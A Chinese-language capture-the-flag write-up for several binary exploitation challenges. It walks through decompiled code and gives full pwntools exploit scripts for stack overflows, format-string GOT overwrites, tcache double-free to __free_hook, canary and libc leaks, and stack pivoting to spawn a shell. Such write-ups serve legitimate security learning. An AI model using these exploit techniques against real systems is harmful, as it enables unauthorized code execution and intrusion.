这题环境有问题,nc连上就是shell,但是目标机会丢失空格,任何形式的空格都不行。留一个本地exp。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 0
if local == 1:
r=process('./qiandao')
#gdb.attach(r,'b * malloc')
gdb.attach(r,'b * 0x400662')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28027)
#libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
elf = ELF('./qiandao')
rdi = 0x4006d3
system = elf.symbols['system']
gets = elf.symbols['gets']
bss = 0x602100
rsi15 = 0x4006d1
r.sendline('a'*(0x28)+p64(0xdeadbeef)+p64(rdi)+p64(bss)+p64(gets)+p64(rdi)+p64(bss)+p64(system))
r.sendline('/bin/sh')
r.interactive()
用ida加载,打开main()函数如下所示。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
char *ptr; // ST08_8
void *v5; // ST10_8
setbuf(stdin, 0LL);
v3 = stdout;
setbuf(stdout, 0LL);
ptr = sub_400D0A();
v5 = sub_400DA0(v3, 0LL);
printf("your motto is \"%s\"\n", v5);
free(ptr);
free(v5);
return 0LL;
}
跟进sub_400D0A()发现存在格式化字符串漏洞。
char *sub_400D0A()
{
char *v0; // ST08_8
char s; // [rsp+10h] [rbp-40h]
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
sleep(0);
puts("please input name:");
sub_400BF5(&s, 50LL);
v0 = strdup(&s);
printf("Hello ", sleep);
printf(&s);
return v0;
}
函数执行完事后会进入sub_400DA0()函数内。
char *sub_400DA0()
{
_QWORD *v0; // rax
__int64 v2; // [rsp+0h] [rbp-420h]
char *v3; // [rsp+8h] [rbp-418h]
char s; // [rsp+10h] [rbp-410h]
unsigned __int64 v5; // [rsp+418h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("please input size of motto:");
v2 = sub_400CA0("please input size of motto:");
if ( v2 < 0 )
v2 = -v2;
if ( v2 > 1024 )
v2 = 1024LL;
puts("please input motto:");
sub_400BF5(&s, v2);
v3 = strdup(&s);
if ( sub_400B96(&s, v2) ^ 1 )
{
v0 = __cxa_allocate_exception(8LL);
*v0 = "The format of motto is error!";
__cxa_throw(v0, &typeinfo for'char const*, 0LL);
}
return v3;
}
攻击思路是利用格式化字符串漏洞,修改strdup()函数的GOT为printf()函数的PLT并泄露__libc_start_main_ret
,第二次调用strdup()函数时会调用printf()函数,再次利用格式化字符串漏洞修改printf()函数的GOT为one_gadet
地址,最后回到main()函数时调用printf()函数触发one_gadget
getshell。
exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./babyfmtstr')
gdb.attach(r,'b * 0x0400e31')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28041)
libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')
elf = ELF('./babyfmtstr')
strdup_got = elf.got['strdup']
free_got = elf.got['free']
printf_got = elf.got['printf']
cxa_allocate_exception_got = elf.got['__cxa_allocate_exception']
r.recvuntil('name:')
#r.sendline('aaaaaaaa%8$p')
r.sendline('%25$p%50c%12$n%2368c%13$hn'+cyclic(6)+p64(strdup_got+2)+p64(strdup_got))
r.recvuntil('Hello ')
lsmr = int(r.recv(14),16)
log.success('libc_start_main_ret:'+hex(lsmr))
r.recvuntil('motto:')
r.sendline('1024')
r.recvuntil('motto:')
if local == 1:
lsmrp = 0x020840
else:
lsmrp = 0x020830
libc_addr = lsmr - lsmrp
if local == 1:
ogg = 0x45226+libc_addr
else:
ogg = 0x45216+libc_addr
log.success('libc_addr:'+hex(libc_addr))
ogglist = [ogg&0xffff,(ogg>>16)&0xffff,(ogg>>32)&0xffff]
exp = "%"+str(ogglist[0])+'c%16$hn%'+str((ogglist[1]+0x10000-ogglist[0])%0x10000)+'c%17$hn'
print len(exp)
print exp
exp+='\x00'*(64-len(exp))+p64(printf_got)+p64(printf_got+2)+p64(printf_got+4)
r.sendline(exp)
log.success('ogg:'+hex(ogg))
r.interactive()
用ida加载,main()函数,存在gets()函数,还有system()函数,直接栈溢出一把梭。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-2A0h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
system("echo Throw away ida pro!!! I want a girlfriend!");
gets(&v4, 0LL);
return 0;
}
exp如下
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./magicstring')
#gdb.attach(r,'b * malloc')
gdb.attach(r,'b * 0x04006CB')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28052)
#libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')
elf = ELF('./magicstring')
rdi = 0x400733
system = elf.symbols['system']
gets = elf.symbols['gets']
bss = 0x601300
rsi15 = 0x4006d1
r.sendline('a'*(0x2a0)+p64(0xdeadbeef)+p64(rdi)+p64(bss)+p64(gets)+p64(rdi)+p64(bss)+p64(system))
r.sendline('/bin/sh')
r.interactive()
用ida加载,发现main()函数似乎为很简单的栈溢出,但是做的时候发现我有些年轻了,这道题并没有那么的简单。
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST0C_4
char buf; // [rsp+10h] [rbp-40h]
unsigned __int64 v6; // [rsp+38h] [rbp-18h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("She said: hello?");
v3 = read(0, &buf, 0x100uLL) - 1;
printf("%s", &buf);
read(0, &buf, 0x100uLL);
puts("You had me at hello.");
return 0;
}
checksec了一下发现该题三保护全开,这使得我们不能直接泄露地址或者直接溢出攻击。
/36d/mengxinstack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
第一步先泄露canary,还附赠了一个栈地址(没啥用)。
r.sendline(cyclic(40))
r.recvuntil('jaaa')
canary = u64(r.recv(8))-0xa
log.success('canary:'+hex(canary))
stack = u64(r.recv(6)+'\x00\x00')
log.success('stack:'+hex(stack))
第二步回到main()函数重新执行,由于暂时无法泄露PIE基址,不能直接回到main()函数上,但是当前函数为main()函数,他的返回地址是__libc_start_main_ret
,可以通过修改__libc_start_main_ret
的后两位,让该程序重新运行,只需要将跳转地址差在836前的任意一个有效地址,都可以重启程序。
[-------------------------------------code-------------------------------------]
0x7f12d36ad7fc <__libc_start_main+172>: mov rax,QWORD PTR fs:0x300
0x7f12d36ad805 <__libc_start_main+181>: mov QWORD PTR [rsp+0x68],rax
0x7f12d36ad80a <__libc_start_main+186>: mov rax,QWORD PTR fs:0x2f8
0x7f12d36ad813 <__libc_start_main+195>: mov QWORD PTR [rsp+0x70],rax
0x7f12d36ad818 <__libc_start_main+200>: lea rax,[rsp+0x20]
0x7f12d36ad81d <__libc_start_main+205>: mov QWORD PTR fs:0x300,rax
0x7f12d36ad826 <__libc_start_main+214>: mov rax,QWORD PTR [rip+0x3a368b] # 0x7f12d3a50eb8
0x7f12d36ad82d <__libc_start_main+221>: mov rsi,QWORD PTR [rsp+0x8]
0x7f12d36ad832 <__libc_start_main+226>: mov edi,DWORD PTR [rsp+0x14]
=> 0x7f12d36ad836 <__libc_start_main+230>: mov rdx,QWORD PTR [rax]
0x7f12d36ad839 <__libc_start_main+233>: mov rax,QWORD PTR [rsp+0x18]
0x7f12d36ad83e <__libc_start_main+238>: call rax
[------------------------------------stack-------------------------------------]
if local ==1:
r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x13')
else:
r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x03')
重新执行程序后回到main()函数。第二次输出泄露libc并计算one_gadget地址。
r.send(cyclic(72))
r.recvuntil('raaa')
lsmr = u64(r.recv(6)+'\x00\x00')
if local == 1:
lsmrp = 0x020840
else:
lsmrp = 0x020830
libc_addr = lsmr - lsmrp
log.success('libc_addr:'+hex(libc_addr))
if local == 1:
ogg = 0x45226+libc_addr
else:
ogg = 0x45216+libc_addr
修改返回地址为one_gadget
,并覆盖后面的栈为0方便触发one_gadget
。最终exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./mengxinstack')
gdb.attach(r,'b * $rebase(0x9f1)')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28037)
libc = ELF('./libc6_2.23-0ubuntu11_amd64.so')
elf = ELF('./mengxinstack')
r.sendline(cyclic(40))
r.recvuntil('jaaa')
canary = u64(r.recv(8))-0xa
log.success('canary:'+hex(canary))
stack = u64(r.recv(6)+'\x00\x00')
log.success('stack:'+hex(stack))
if local ==1:
r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x13')
else:
r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+'\x03')
r.send(cyclic(72))
r.recvuntil('raaa')
lsmr = u64(r.recv(6)+'\x00\x00')
if local == 1:
lsmrp = 0x020840
else:
lsmrp = 0x020830
libc_addr = lsmr - lsmrp
log.success('libc_addr:'+hex(libc_addr))
if local == 1:
ogg = 0x45226+libc_addr
else:
ogg = 0x45216+libc_addr
r.send(cyclic(40)+p64(canary)+p64(0xdeadbeef)+cyclic(16)+p64(ogg)+'\x00'*0x40)
r.interactive()
用ida加载,主函数为一个循环的函数实现堆功能,打开menu()函数查看该题功能只有增删查。
__int64 menu()
{
puts("1.add");
puts("2.delete");
puts("3.show");
puts("4.exit");
printf(">>");
return readint();
}
add()函数,无漏洞。
int add()
{
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 29; ++i )
{
if ( !list[i] )
{
list[i] = (char *)malloc(0x20uLL);
printf("leave some message_of_your 36D:");
readn(list[i], 16LL);
puts("ok\n");
return puts("Now you get your 36D which you want!\n");
}
}
return puts("Full!");
}
delete()函数free
后指针未置零,存在double free
漏洞。
int dele()
{
char *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
printf("index:");
LODWORD(v0) = readint();
v2 = v0;
if ( v0 >= 0 && v0 <= 29 )
{
v0 = list[v0];
if ( v0 )
{
free(list[v2]);
puts("ok");
LODWORD(v0) = puts("you delete your 36D!\n");
}
}
return v0;
}
show()函数为直接puts堆地址数组指定位置的内容,不存在数组越界。
int show()
{
char *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]
printf("index:");
LODWORD(v0) = readint();
v2 = v0;
if ( v0 >= 0 && v0 <= 29 )
{
v0 = list[v0];
if ( v0 )
LODWORD(v0) = puts(list[v2]);
}
return v0;
}
由于tcache机制,2.23和2.27的堆机制完全不同,double free的利用姿势也完全不同。如果连续释放两次一个堆块报错为2.23,没报错为2.27,触发double free detected
为2.29+(新版2.27也有这个,建议18.04虚拟机不要乱更新,坑死我了)。先远程nc一下,连续free两次一个堆块程序正常执行,推测对方机器为2.27。
checksec 发现该程序未开启PIE,可以直接修改堆地址数组泄露libc。
ai@ai:~/桌面$ checksec babyheap
[*] '/home/ai/桌面/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
利用tcache任意地址写到堆数组leak libc。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./babyheap')
#gdb.attach(r,'b * realloc')
#gdb.attach(r,'b * 0x4008a7')
#gdb.attach(r,'b * 0x04009dd')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28070)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./babyheap')
def add(content):
r.recvuntil(">>")
r.sendline("1")
r.recvuntil("36D:")
r.send(content)
def show(index):
r.recvuntil(">>")
r.sendline("3")
r.recvuntil("index:")
r.sendline(str(index))
def dele(index):
r.recvuntil(">>")
r.sendline("2")
r.recvuntil("index:")
r.sendline(str(index))
puts_got = elf.got['puts']
add('a'*0x10)
add('b'*0x10)
add('c'*0x10)
add('d'*0x10)
add('e'*0x10)
for i in range(8):
dele(1)
add(p64(0x602050)+'\n')
add('a'*0x10+'\n')
add(p64(puts_got)+'\n')
show(0)
puts = u64(r.recv(6)+'\x00\x00')
log.success('puts'+hex(puts))
libc_addr = puts - libc.symbols['puts']
log.success('libc_addr'+hex(libc_addr))
r.interactive()
利用double free任意地址写,覆盖__free_hook
getshell,2.27的堆地址,2.27堆寻址时只需要让fd为0即可,不需要对应堆头。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./babyheap')
#gdb.attach(r,'b * realloc')
#gdb.attach(r,'b * 0x4008a7')
#gdb.attach(r,'b * 0x04009dd')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r=remote('111.231.70.44',28070)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./babyheap')
def add(content):
r.recvuntil(">>")
r.sendline("1")
r.recvuntil("36D:")
r.send(content)
def show(index):
r.recvuntil(">>")
r.sendline("3")
r.recvuntil("index:")
r.sendline(str(index))
def dele(index):
r.recvuntil(">>")
r.sendline("2")
r.recvuntil("index:")
r.sendline(str(index))
puts_got = elf.got['puts']
add('a'*0x10)
add('b'*0x10)
add('c'*0x10)
add('d'*0x10)
add('e'*0x10)
for i in range(8):
dele(1)
add(p64(0x602050)+'\n')
add('a'*0x10+'\n')
add(p64(puts_got)+'\n')
show(0)
puts = u64(r.recv(6)+'\x00\x00')
log.success('puts'+hex(puts))
libc_addr = puts - libc.symbols['puts']
log.success('libc_addr'+hex(libc_addr))
malloc_hook = libc_addr + libc.symbols['__malloc_hook']
free_hook = libc_addr + libc.symbols['__free_hook']
log.success('free_hook'+hex(free_hook))
ogg = [libc_addr+0x4f2c5,libc_addr+0x4f322,libc_addr+0x10a38c]
realloc = libc_addr+libc.symbols['realloc']
log.success('malloc_hook'+hex(malloc_hook))
dele(2)
dele(3)
dele(2)
add(p64(free_hook-0x10)+'\n')
add('z'*0x10)
add('y'*0x10)
print 'ok'
add(p64(ogg[1]))
r.recvuntil(">>")
r.sendline("2")
r.sendline("0")
r.interactive()
用ida加载,打开main()函数如下所示,末尾存在栈溢出漏洞,不过只能溢出一个字节。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+38h] [rbp-18h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
lookhere();
puts(&byte_B80);
read(0, &::buf, 0x190uLL);
lookthere();
puts(asc_BA8);
return read(0, &buf, 0x60uLL);
}
lookhere()函数存在格式化字符串漏洞。
unsigned __int64 lookhere()
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(&s);
read(0, &buf, 5uLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}
lookhere()函数下的read()函数为向全局变量写入0x190个字符串,不存在栈溢出,可以将栈迁移到这里执行。
lookthere()函数会将上次read()的前0x110地址覆盖为垃圾字符。
void *lookthere()
{
return memcpy(&buf, &off_B78, 0x110uLL);
}
checksec分析,该程序三保护全开。
[*] '/home/pwn/Desktop/bluehat2020/36d/tang'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
先利用格式化字符串泄露canary(),修改__libc_start_main_ret
重启程序。
r.send('%19$p')
r.recvuntil('\n')
canary = int(r.recv(18),16)
log.success('canary:'+hex(canary))
r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)
再次泄露pie。
r.send('%11$p')
r.recvuntil('\n')
r.recvuntil('\n')
pie = int(r.recv(14),16)-0xa51
log.success('pie:'+hex(pie))
r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)
再次泄露libc地址,利用栈迁移跳到one_gadget合适区域getshell。最终exp如下。
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
if local == 1:
r=process('./tang')
gdb.attach(r,'b * $rebase(0xac6)')
else:
r=remote('111.231.70.44',28076)
elf = ELF('./tang')
r.send('%19$p')
r.recvuntil('\n')
canary = int(r.recv(18),16)
log.success('canary:'+hex(canary))
r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)
r.send('%11$p')
r.recvuntil('\n')
r.recvuntil('\n')
pie = int(r.recv(14),16)-0xa51
log.success('pie:'+hex(pie))
r.sendline(cyclic(0x10))
r.recvuntil('...')
if local ==1:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x13')
else:
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(0xdeadbeef)+'\x03')
sleep(1)
r.recvuntil('\n')
r.send('%23$p')
r.recvuntil('\n')
lsmr = int(r.recv(14),16)
log.success('lsmr:'+hex(lsmr))
if local == 1:
lsmrp = 0x020840
else:
lsmrp = 0x020830
libc_addr = lsmr - lsmrp
log.success('libc_addr:'+hex(libc_addr))
if local == 1:
ogg = 0x4527a+libc_addr
else:
ogg = 0x4526a+libc_addr
r.sendline(p64(pie+0x1040)+p64(ogg)+'z'*(0x170-7*0x10)+p64(pie+0x1040)+p64(ogg))
r.recvuntil('...')
r.send(cyclic(56)+p64(canary)+cyclic(16)+p64(pie+0x201150)+p64(pie+0x9ca))
r.interactive()
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!